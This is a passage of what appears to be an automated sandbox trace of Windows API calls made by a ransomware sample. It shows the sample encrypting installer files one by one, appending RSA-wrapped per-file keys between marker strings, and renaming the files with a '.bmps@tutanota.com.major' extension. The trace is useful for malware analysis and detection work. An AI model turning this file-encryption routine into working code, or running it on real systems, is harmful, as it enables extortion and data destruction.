lpMem=0x5b67e0 | out: hHeap=0x570000) returned 1 [0133.959] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed68 [0133.959] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0133.959] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0133.960] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1029\\eula.rtf", dwFileAttributes=0x80) returned 1 [0133.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0133.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0133.960] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0133.960] CreateFileW (lpFileName="\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x48c [0133.960] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3726) returned 1 [0133.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe8e) returned 0x5ed868 [0133.961] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe8e) returned 0x5ee700 [0133.961] ReadFile (in: hFile=0x48c, lpBuffer=0x5ed868, nNumberOfBytesToRead=0xe8e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0xe8e, lpOverlapped=0x0) returned 1 [0134.067] SetFilePointer (in: hFile=0x48c, lDistanceToMove=-3726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.067] WriteFile (in: hFile=0x48c, lpBuffer=0x5ee700*, nNumberOfBytesToWrite=0xe8e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ee700*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe8e, lpOverlapped=0x0) returned 1 [0134.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0134.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ee700 | out: hHeap=0x570000) returned 1 [0134.068] SetFilePointer (in: hFile=0x48c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe8e [0134.068] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0134.068] WriteFile (in: hFile=0x48c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0134.068] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0134.068] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0134.068] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0134.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0134.068] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="jCzgxEWRd577Ud5k8wBfQ1G7mcZ2x9eVzS0ZElu3feEqeqo66xPceWh35hBWhR1N\n2ak6P4pAwjOJNR/0XSFHkHlyzy5uf2iVk5N0BnHDhmGATh5AYLZVQe17+S3ukgsB\nFJQxFVwe7XJNa2fM/cBlhpsWJmi0LGroopzDiyBN2KNYRiC565hj2y358mnAlNmN\nfevu3g3MwgXJyWQ/JpttQPYxGa+Nf4BFstkl0GuUxbqkUVxOgBLEHGAjux0M9v47\nvIas/8r5dr7oq9lp80YO60GMGodcH/ALdot9B2rr5Sx4GM5ffKNqKq/gwqdgGiLe\ndEy8/Ig/v2+xx29LVEnhOQ==\n", pcchString=0x2e3f9a8) returned 1 [0134.068] WriteFile (in: hFile=0x48c, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0134.068] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0134.068] WriteFile (in: hFile=0x48c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0134.069] CloseHandle (hObject=0x48c) returned 1 [0134.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0134.069] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1029\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\1029\\eula.rtf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0134.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0134.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0134.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0134.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0134.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0134.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0134.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1108 | out: hHeap=0x570000) returned 1 [0134.071] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffbefd8a, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a2f50 [0134.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6b90 | out: hHeap=0x570000) returned 1 [0134.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0134.071] GetLastError () returned 0x0 [0134.071] SetLastError (dwErrCode=0x0) [0134.071] GetLastError () returned 0x0 [0134.071] SetLastError (dwErrCode=0x0) [0134.071] GetLastError () returned 0x0 [0134.071] SetLastError (dwErrCode=0x0) [0134.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ed60 [0134.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0134.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0134.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3190 [0134.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3190 | out: hHeap=0x570000) returned 1 [0134.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40588 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40588 | out: hHeap=0x570000) returned 1 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ed60 | out: hHeap=0x570000) returned 1 [0134.072] FindNextFileW (in: hFindFile=0x5a2f50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xffbefd8a, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0134.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0134.072] GetLastError () returned 0x0 [0134.072] SetLastError (dwErrCode=0x0) [0134.072] GetLastError () returned 0x0 [0134.072] SetLastError (dwErrCode=0x0) [0134.072] GetLastError () returned 0x0 [0134.072] SetLastError (dwErrCode=0x0) [0134.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ecf0 [0134.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee70 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee70 | out: hHeap=0x570000) returned 1 [0134.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3290 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3290 | out: hHeap=0x570000) returned 1 [0134.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e405a0 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e405a0 | out: hHeap=0x570000) returned 1 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecf0 | out: hHeap=0x570000) returned 1 [0134.072] FindNextFileW (in: hFindFile=0x5a2f50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0134.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0134.072] GetLastError () returned 0x0 [0134.072] SetLastError (dwErrCode=0x0) [0134.072] GetLastError () returned 0x0 [0134.072] SetLastError (dwErrCode=0x0) [0134.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7210 | out: hHeap=0x570000) returned 1 [0134.072] GetLastError () returned 0x0 [0134.072] SetLastError (dwErrCode=0x0) [0134.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bed10 [0134.072] FindNextFileW (in: hFindFile=0x5a2f50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0134.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0134.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7060 [0134.073] GetLastError () returned 0x0 [0134.073] SetLastError (dwErrCode=0x0) [0134.073] GetLastError () returned 0x0 [0134.073] SetLastError (dwErrCode=0x0) [0134.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0134.073] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7060 | out: hHeap=0x570000) returned 1 [0134.073] GetLastError () returned 0x0 [0134.073] SetLastError (dwErrCode=0x0) [0134.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58e970 [0134.073] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e970 | out: hHeap=0x570000) returned 1 [0134.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6918 [0134.073] FindNextFileW (in: hFindFile=0x5a2f50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffae4c5d, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xffae4c5d, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xffbefd8a, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0134.073] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0134.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0134.073] GetLastError () returned 0x0 [0134.073] SetLastError (dwErrCode=0x0) [0134.073] GetLastError () returned 0x0 [0134.073] SetLastError (dwErrCode=0x0) [0134.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0134.073] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0134.073] GetLastError () returned 0x0 [0134.073] SetLastError (dwErrCode=0x0) [0134.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.073] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.073] FindNextFileW (in: hFindFile=0x5a2f50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0134.073] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0134.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7330 [0134.074] GetLastError () returned 0x0 [0134.074] SetLastError (dwErrCode=0x0) [0134.074] GetLastError () returned 0x0 [0134.074] SetLastError (dwErrCode=0x0) [0134.074] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b71f0 [0134.074] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7330 | out: hHeap=0x570000) returned 1 [0134.074] GetLastError () returned 0x0 [0134.074] SetLastError (dwErrCode=0x0) [0134.074] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x58ec48 [0134.074] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec48 | out: hHeap=0x570000) returned 1 [0134.074] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6300 [0134.074] FindNextFileW (in: hFindFile=0x5a2f50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0134.074] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0134.074] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.074] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0134.074] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1030\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0134.075] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0134.075] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0134.075] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0134.075] CreateFileW (lpFileName="\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x490 [0134.075] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=18264) returned 1 [0134.075] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x5ed868 [0134.075] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4758) returned 0x5f1fc8 [0134.075] ReadFile (in: hFile=0x490, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x4758, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0134.328] SetFilePointer (in: hFile=0x490, lDistanceToMove=-18264, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.328] WriteFile (in: hFile=0x490, lpBuffer=0x5f1fc8*, nNumberOfBytesToWrite=0x4758, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5f1fc8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4758, lpOverlapped=0x0) returned 1 [0134.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0134.328] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5f1fc8 | out: hHeap=0x570000) returned 1 [0134.329] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4758 [0134.329] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0134.329] WriteFile (in: hFile=0x490, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0134.329] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0134.329] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0134.331] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0134.331] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b5a90 [0134.331] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b5a90, pcchString=0x2e3f9a8 | out: pszString="Ejl0340z9JSXmbMm3uJyDCmdfS5wv/pEGChWR+kpAcAII7urUEm0EFoKhNCMfuRw\n4LOkDItguogGjxLrUCyqX/OgVGJ90LyoSmBryl5qc6VvHoMe9Y05ZZVK4BuY6ctd\njowzmXnZT8aRP7i+3kCBymgh33+cao0FukzU7OEzk315Xs64MliUOat7bQ3hM9OW\nyKSsEQ5kgW3kgK6hw3lRV4xBfGshp32XY/p5Od+OYLo4GNfW49vMp0WUhOBRs589\nGyRs/mTbCVUMStdYrScw6KzCElS0vnbymZwz8cmNs/6x/aSLuTojajP/9pVzCQaf\nnJKoM2WuYnIDZ5YPAFZunA==\n", pcchString=0x2e3f9a8) returned 1 [0134.331] WriteFile (in: hFile=0x490, lpBuffer=0x5b5a90*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0134.331] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0134.331] WriteFile (in: hFile=0x490, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0134.331] CloseHandle (hObject=0x490) returned 1 [0134.332] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0134.332] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\1030\\SetupResources.dll.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0134.333] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0134.333] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e610 | out: hHeap=0x570000) returned 1 [0134.333] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6368 | out: hHeap=0x570000) returned 1 [0134.333] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6300 | out: hHeap=0x570000) returned 1 [0134.333] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0134.333] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x58e610 [0134.333] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0134.333] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\1030\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0134.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0134.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x57e1d0 [0134.334] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0134.334] CreateFileW (lpFileName="\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x490 [0134.334] GetFileSizeEx (in: hFile=0x490, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=77748) returned 1 [0134.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12fb4) returned 0x5ed868 [0134.334] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x12fb4) returned 0x600828 [0134.334] ReadFile (in: hFile=0x490, lpBuffer=0x5ed868, nNumberOfBytesToRead=0x12fb4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5ed868*, lpNumberOfBytesRead=0x2e3f9b4*=0x12fb4, lpOverlapped=0x0) returned 1 [0134.522] SetFilePointer (in: hFile=0x490, lDistanceToMove=-77748, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0134.522] WriteFile (in: hFile=0x490, lpBuffer=0x600828*, nNumberOfBytesToWrite=0x12fb4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x600828*, lpNumberOfBytesWritten=0x2e3f9b4*=0x12fb4, lpOverlapped=0x0) returned 1 [0134.523] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ed868 | out: hHeap=0x570000) returned 1 [0134.524] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x600828 | out: hHeap=0x570000) returned 1 [0134.525] SetFilePointer (in: hFile=0x490, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x12fb4 [0134.526] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0134.526] WriteFile (in: hFile=0x490, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0134.526] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0134.526] CryptEncrypt (in: hKey=0x5a2690, 